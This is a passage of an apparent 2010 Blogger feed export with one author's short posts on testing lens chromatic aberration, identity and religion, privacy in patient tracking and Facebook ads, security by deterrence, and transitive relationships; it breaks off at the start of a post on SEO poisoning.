src="http://1.bp.blogspot.com/_tMhXppp4NpE/TBxqJv2g4bI/AAAAAAAACoc/czYAfRqcy2U/s320/ChromaticAberration.gif" alt="" id="BLOGGER_PHOTO_ID_5484375161926902194" border="0" /&gt;&lt;/a&gt;When this happens, the sensor averages them and the edges in the image becomes distorted. See the &lt;a href="http://en.wikipedia.org/wiki/Chromatic_aberration"&gt;Wikipedia&lt;/a&gt; page for an example. I was told that this happens mainly from the light entering closer to the edge. So, in theory, if you have a smaller aperture (i.e. later DoF value), aberration should be small. A simple technique to correct this distortion is to have a concave lens right next to the convex lens so that the effect of irregular bending of wavelength is corrected by dispersing them. But with mm focal lengths, it seems that such a simple technique does not work - it's much more difficult to correct this effect with UWA lens as they support very small focal length.&lt;br /&gt;&lt;br /&gt;Test setting:&lt;br /&gt;I used a Canon EOS T1i body and took multiple pictures at the same focal length (10 mm) but varying the depth of field (F values at 4/4.5/5, 5.6, 8, 11, 22, 29) at the same light condition. Here are some sample photos.&lt;br /&gt;&lt;br /&gt;Unprocessed JPEG image for focal length = 10 mm, F = 4.0:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/TBxuQjFGHZI/AAAAAAAACok/eBKtU9QSYbY/s1600/0400_10_1_rs.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 214px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/TBxuQjFGHZI/AAAAAAAACok/eBKtU9QSYbY/s320/0400_10_1_rs.JPG" alt="" id="BLOGGER_PHOTO_ID_5484379676803997074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Unprocessed JPEG image for focal length = 10 mm, F = 11.0:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tMhXppp4NpE/TBxufs3xyCI/AAAAAAAACos/Wl6rp3y6-mA/s1600/1100_10_1_rs.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 214px;" src="http://2.bp.blogspot.com/_tMhXppp4NpE/TBxufs3xyCI/AAAAAAAACos/Wl6rp3y6-mA/s320/1100_10_1_rs.JPG" alt="" id="BLOGGER_PHOTO_ID_5484379937130530850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Unprocessed JPEG image for focal length = 10 mm, F = 22.0:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tMhXppp4NpE/TBxu7AnL9TI/AAAAAAAACo0/5TIqKPeQlw0/s1600/2200_10_1_rs.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 214px;" src="http://2.bp.blogspot.com/_tMhXppp4NpE/TBxu7AnL9TI/AAAAAAAACo0/5TIqKPeQlw0/s320/2200_10_1_rs.JPG" alt="" id="BLOGGER_PHOTO_ID_5484380406286120242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Note that due to the crop factor (1.6 in EOS T1i), the actual focal length is close to 16 mm.&lt;br /&gt;&lt;br /&gt;I was expecting the CA to monotonically decrease with increasing DoF value (think in the line that with larger F values, we have smaller aperture and light will pass through mostly middle of the lens). However it was not the case. Maybe the complex inter-leaved lenses have other effects. The CA visible to the naked eye decreased 4 (highest CA), 5.6 8, 11 (lowest CA) and 11 and 16 had similar quality.  At 22, CA was quite high and image quality was less than that for at 4.  I am not in a position to explain this bell-curve shape like behavior. Would be very much interested to know the technical details behind the scene.&lt;br /&gt;&lt;br /&gt;I repeated the above experiment for focal lengths 12, 14 and 16 mm. I found a similar pattern. The visible CA decreased as the F value is increased closer to the current or little above the current focal length but beyond that visible CA increased with increased F values.&lt;br /&gt;&lt;br /&gt;So, with Sigma 10-20mm F4.0-5.6 on a Canon EOS T1i camera, if you want to take landscape photos with minimal CA, set the F value closer to the current focal length.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-335133312253555028?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/335133312253555028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=335133312253555028' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/335133312253555028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/335133312253555028'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/testing-chromatic-aberration-in-sigma.html' title='[Photography] Testing the chromatic aberration in Sigma 10-20mm F4.0-5.6'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tMhXppp4NpE/TBxqJv2g4bI/AAAAAAAACoc/czYAfRqcy2U/s72-c/ChromaticAberration.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-9039700686494369477</id><published>2010-06-18T23:09:00.007-04:00</published><updated>2010-06-30T17:53:18.418-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><category scheme='http://www.blogger.com/atom/ns#' term='conflicts'/><category scheme='http://www.blogger.com/atom/ns#' term='faith'/><title type='text'>What's your identity (and religion)? [not a security post]</title><content type='html'>Yes, what is your identity? We immediately think of the country we were born (the nationality), the religion (or a sub division of it) we follow, the ethnicity, the cast to which we belong, our parents, our siblings, the native languages we speak, our skin color, our height, etc. don't we? But wait...if you come to think about it, we pretty much don't have control over any of the above attributes; we don't have control over who our parents are, where we are born and so on; YET we not only label ourselves using those attributes, but sometimes, go so far as to start an arms struggle based on the differences in these attributes. Look at the current news -- most of the conflicts are due to these attributes -- the attributes we did not earn ourselves, but GIVEN to us (different religions interpret how this inheritance works differently -- but the underlying core is the same -- there should be some source of energy which does everything in such an orderly manner -- some of which are beyond human imagination) It is also sad to see that we discriminate people based on these labels that they don't have control over; high cast or low cast, black or white, short or tall, and so on. Your nationality is not your identity, and so are the skin color, the religion (literally), mother tongue, etc.&lt;br /&gt;&lt;br /&gt;So, what exactly is your identity? Identity is something that you build yourself with a good intention and over which you have control. And that serves the greater good. Most religions I know of teach us to build this identity. However, looking at the current affairs, the religious identity is gravely misunderstood. This religious label is not your identity. Your religion becomes your identity only when you are truly honest to yourself (for example, treat everyone with the same spoon irrespective of the uncontrollable attributes) and truly care to make the world a better place to everyone (for example, by sharing your knowledge, wealth, etc., by raising your voice in a peaceful manner for the oppressed, the weak, etc.). In short, don't be evil. I hope this post gave you some food for thought.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-9039700686494369477?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/9039700686494369477/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=9039700686494369477' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/9039700686494369477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/9039700686494369477'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/whats-your-identity-and-religion-not.html' title='What&apos;s your identity (and religion)? [not a security post]'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4373642189101954645</id><published>2010-06-16T12:23:00.002-04:00</published><updated>2010-06-16T12:25:53.120-04:00</updated><title type='text'>Twitter</title><content type='html'>After a long wait, debuted in Twitter :) My twitter id is &lt;a href="http://twitter.com/nabeel_yoosuf"&gt;nabeel_yoosuf&lt;/a&gt;. Hoping to share interesting/useful links and events there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4373642189101954645?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4373642189101954645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4373642189101954645' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4373642189101954645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4373642189101954645'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/twitter.html' title='Twitter'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4012003412053140380</id><published>2010-06-15T01:29:00.003-04:00</published><updated>2010-06-15T01:58:46.728-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Tracking patients remotely</title><content type='html'>When we talk about GPS, we immediately think about going from point A to B. Technologies similar to GPS have been used to track patient remotely. The basic idea is that these devices, which are, most of the time, attached to the patient, report the location information to a central location and if the movement patterns deviate from the normal patterns, they detect an anomaly. That anomaly could be something good (for example, a patient who is recovering making some movement could be a positive sign, no movement at all could be a negative sign).&lt;br /&gt;&lt;br /&gt;There have been commercial as well as research projects in this regard. For example,&lt;br /&gt;&lt;br /&gt;Remotely monitory elderly location: &lt;a href="http://www.liveviewgps.com/gps+elderly+locater.html"&gt;here &lt;/a&gt;&lt;a href="http://www.scrippsnews.com/content/tracking-elderly-research-sensors"&gt;here&lt;/a&gt;&lt;br /&gt;A research project to track the recovery from a surgery: &lt;a href="http://www.alphagalileo.org/ViewItem.aspx?ItemId=78527&amp;amp;CultureCode=en"&gt;here&lt;/a&gt;&lt;br /&gt;A device to track dangerous psychiatric patients: &lt;a href="http://www.medicalnewstoday.com/articles/191115.php"&gt;here&lt;/a&gt;&lt;br /&gt;And many more&lt;br /&gt;&lt;br /&gt;Even though these devices/techniques are designed/deployed with good intension, one concern here is people who are being monitored have no control over their own data, i.e. their movement information. And they don't have control over who can view their data. Hence, it could lead to serious privacy breaches. I'd like to see a system where it gives more control to the target (to someone on behalf of the target) over their information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4012003412053140380?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4012003412053140380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4012003412053140380' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4012003412053140380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4012003412053140380'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/tracking-patients-remotely.html' title='Tracking patients remotely'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6490488689017697109</id><published>2010-06-14T11:04:00.000-04:00</published><updated>2010-06-14T11:06:23.184-04:00</updated><title type='text'>Security :-)</title><content type='html'>&lt;a href="http://www.chron.com/apps/comics/showComick.mpl?date=20100610&amp;amp;name=Hi_and_Lois"&gt;Hi &amp;amp; Lois&lt;/a&gt; (via &lt;a href="http://www.schneier.com/blog/archives/2010/06/security_cartoo_5.html"&gt;Schneier on security&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6490488689017697109?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6490488689017697109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6490488689017697109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6490488689017697109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6490488689017697109'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/security.html' title='Security :-)'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-818250001308769390</id><published>2010-06-14T00:09:00.005-04:00</published><updated>2010-06-14T11:02:30.241-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Security by deterrence</title><content type='html'>When no one can watch (or trace one to what they do), the possibility of doing something bad (steal, break in, erase/modify/add data, etc.) is quite high. I was thinking about security cameras in supermarkets and shops. Is it more effective to have those cameras well visible to everyone or have them hidden? In my opinion they should be installed in visible locations; if they are not visible, there will be more bad people attempting to do bad things; it's true that you can track them down going through the surveillance videos and prosecute them - but think about the cost you have to incur; it is far more economical to indicate some sort of a warning signal. This will reduce the number such incidents and, yes, you can take necessary actions against those few bad incidents where bad guys dare to ignore the warning. Thinking in this line, you actually don't need real cameras installed all the places - you can safely have a few fake ones installed along with the real ones - they will act as a deterrence factor. (If you cannot afford to have a video surveillance system, it is at least good to have some fake cameras installed.)&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;What about firewalls, ID (Intrusion Detection) systems? I think we can make a similar argument about them. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Another side note, have you ever come across a situation where you cannot keep the lunch packets or any other food items from your co-workers in an office or classmates in a school? One crude way to do that is to take a bite and keep it :-) it'll surely act as a deterrence. A good way to have it packaged as if it's not a lunch packet - most hungry people won't bother to open that. &lt;a href="http://www.trendhunter.com/photos/24601/2"&gt;This sandwich bag&lt;/a&gt; seems to be a good idea as well (though won't work after others figure out your trick)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-818250001308769390?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/818250001308769390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=818250001308769390' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/818250001308769390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/818250001308769390'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/security-by-deterrence.html' title='Security by deterrence'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8963376797912861937</id><published>2010-06-03T18:52:00.003-04:00</published><updated>2010-06-14T00:09:18.704-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='math'/><title type='text'>[Math] Transitivity of relationships</title><content type='html'>Most of the relationships in the real world that we know are transitive. For example, if Bob is taller than Tom and Tom is taller than Alice, it naturally implies that Bob is taller than Alice. At the same time, there are many other relationships where the transitivity is not clear. Take for example, a triangular series among Sri Lanka, India and England. Let's say that India beat England and England beat Sri Lanka. Does that mean India will beat Sri Lanka (comprehensively)? Not necessarily - in fact, it has proven numerous times in the past that the transitive relationship does not hold (a tournament would be boring if it were the case). In other words, the relationship is probabilistic in nature.&lt;br /&gt;&lt;br /&gt;Some more not necessarily transitive examples in the technology/science field:&lt;br /&gt;(Social networks) Bob is a friend of Sam. Sam is a friend of Tom. It  does not necessarily imply that "Bob is a friend of Tom".&lt;br /&gt;(Trust relationships in security) Alice trusts Bob to keep a secret. Bob  trusts Mary to keep a secret. It does not necessarily imply that "Alice  trusts Mary to keep a secret" since Alice needs to trust on something  else to make the transitivity working. That something is Bob's ability  to judge Mary's trustworthiness to keep a secret.&lt;br /&gt;&lt;br /&gt;I also find that some relationships can never be transitive. For example:&lt;br /&gt;(Family relationships) Mary is mother of Alice; Alice is mother of Eve.  It is incorrect to say "Mary is mother of Eve".&lt;br /&gt;&lt;br /&gt;In computer science, we mostly deal with deterministic transitivity. Take for example, Lamport's clock; if an event A occurs before an event B and an event C occurs before the event A, we safely conclude that the event C occurs before the event B. And the transitivity always holds. But, what about probabilistic transitivity?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8963376797912861937?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8963376797912861937/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8963376797912861937' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8963376797912861937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8963376797912861937'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/math-transitivity-of-relationships.html' title='[Math] Transitivity of relationships'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-7746723177249759211</id><published>2010-04-20T13:36:00.004-04:00</published><updated>2010-04-20T17:15:46.559-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Facebook - new advertising model?</title><content type='html'>Heard about the news that Facebook is going to launch a new advertising model where they target ads based on user's browsing history. [&lt;a href="http://www.cbsnews.com/stories/2010/04/18/business/financialtimes/main6408946.shtml"&gt;1&lt;/a&gt;,&lt;a href="http://www.switched.com/2010/04/19/facebook-launching-ads-based-on-your-browsing-history/"&gt;2&lt;/a&gt;,&lt;a href="http://thenextweb.com/socialmedia/2010/04/19/facebook-targeting-ads-based-user-web-history/"&gt;3&lt;/a&gt;] From what I understood, FB is not going to (and unable to track) your complete browsing history; rather, FB is going to build a browsing profile for you based on what you explicitly want to "like" by clicking a button placed on a web page you browse. I think they already get some amount of browsing history information whenever you click "f-share" button on a web page which sends the request to http://facebook.com/.&lt;br /&gt;&lt;br /&gt;The question is whether this behavioral targeting is an invation/violation of privacy? IMO, it's NOT a violation of privacy as opposed to what the links above try to indicate. Privacy is more about the control YOU have and less about secrecy. Unless YOU explicitly decide to like or share (by clicking), FB will not be able to do any meaningful behavioral targeting. It's still under YOUR control.&lt;br /&gt;&lt;br /&gt;Of course, it is a violation of privacy, if FB tries to show ads to someone based on YOUR browsing history which they tried to do with beacon system and failed miserably; YOU loose control over YOUR data in this case. I think FB is not going do something similar to that with the new behavioral targeting.&lt;br /&gt;&lt;br /&gt;Waiting to see how their system actually works!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-7746723177249759211?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/7746723177249759211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=7746723177249759211' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7746723177249759211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7746723177249759211'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/04/facebook-new-advertising-model.html' title='Facebook - new advertising model?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1144094395573101790</id><published>2010-04-15T10:23:00.002-04:00</published><updated>2010-04-15T10:27:03.503-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>write once, remain forever</title><content type='html'>Here's an &lt;a href="http://www.loc.gov/tweet/how-tweet-it-is.html"&gt;example&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;Have you ever sent out a “tweet” on the popular Twitter social media service? Congratulations: Your 140 characters or less will now be housed in the Library of Congress.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;That’s right. Every public tweet, ever, since Twitter’s inception in March 2006, will be archived digitally at the Library of Congress. That’s a LOT of tweets, by the way: Twitter processes more than 50 million tweets every day, with the total numbering in the billions.&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1144094395573101790?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1144094395573101790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1144094395573101790' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1144094395573101790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1144094395573101790'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/04/write-once-remain-forever.html' title='write once, remain forever'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1378783100100265523</id><published>2010-03-29T15:21:00.006-04:00</published><updated>2010-03-29T15:41:36.771-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>People mining ;-)</title><content type='html'>&lt;del&gt;data&lt;/del&gt; people mining - could be used for good or bad purposes just like everything else in life.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.pipl.com"&gt;www.pipl.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.reunion.com"&gt;www.reunion.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.classmates.com"&gt;www.classmates.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.facebook.com"&gt;www.facebook.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.twitter.com"&gt;www.twitter.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.linkedin.com"&gt;www.linkedin.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.myspace.com"&gt;www.myspace.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.switchboard.com"&gt;www.switchboard.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.jigsaw.com"&gt;www.jigsaw.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.google.com"&gt;www.google.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.bing.com"&gt;www.bing.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.rootsweb.com"&gt;www.rootsweb.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/tributes.com"&gt;www.tributes.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/www.legacy.com"&gt;www.legacy.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(&lt;a href="http://www.nytimes.com/2010/03/25/technology/personaltech/25basics.html?ref=personaltech"&gt;source&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1378783100100265523?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1378783100100265523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1378783100100265523' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1378783100100265523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1378783100100265523'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/people-mining.html' title='People mining ;-)'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8578159455741096484</id><published>2010-03-28T10:41:00.003-04:00</published><updated>2010-03-28T10:51:55.745-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Securing systems dealing with sensitive information</title><content type='html'>I went through the executive summary of the &lt;a href="http://www.bcauditor.com/files/publications/2010/report_7/report/bcoag-PARIS-IT-security-system-records.pdf"&gt;audit report&lt;/a&gt; of a popular clinical information system in Canada which assessed the security measures in place. The 10 recommendations the report make are quite useful when implementing any access controlled information system; they are not new, but rather well-known facts (need-to-know, defense-in-depth, leakage-prevention, auditing, etc) but in practice largely neglected.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8578159455741096484?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8578159455741096484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8578159455741096484' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8578159455741096484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8578159455741096484'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/03/securing-systems-dealing-with-sensitive.html' title='Securing systems dealing with sensitive information'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4046249138265074556</id><published>2010-03-26T10:21:00.003-04:00</published><updated>2010-03-28T11:10:44.489-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>SEO poisoning on the rise</title><content type='html'>&lt;a href="http://www.downloadsquad.com/2010/03/24/what-are-the-internets-most-dangerous-search-words-bearshare-a/?d"&gt;Source&lt;/a&gt;:&lt;br 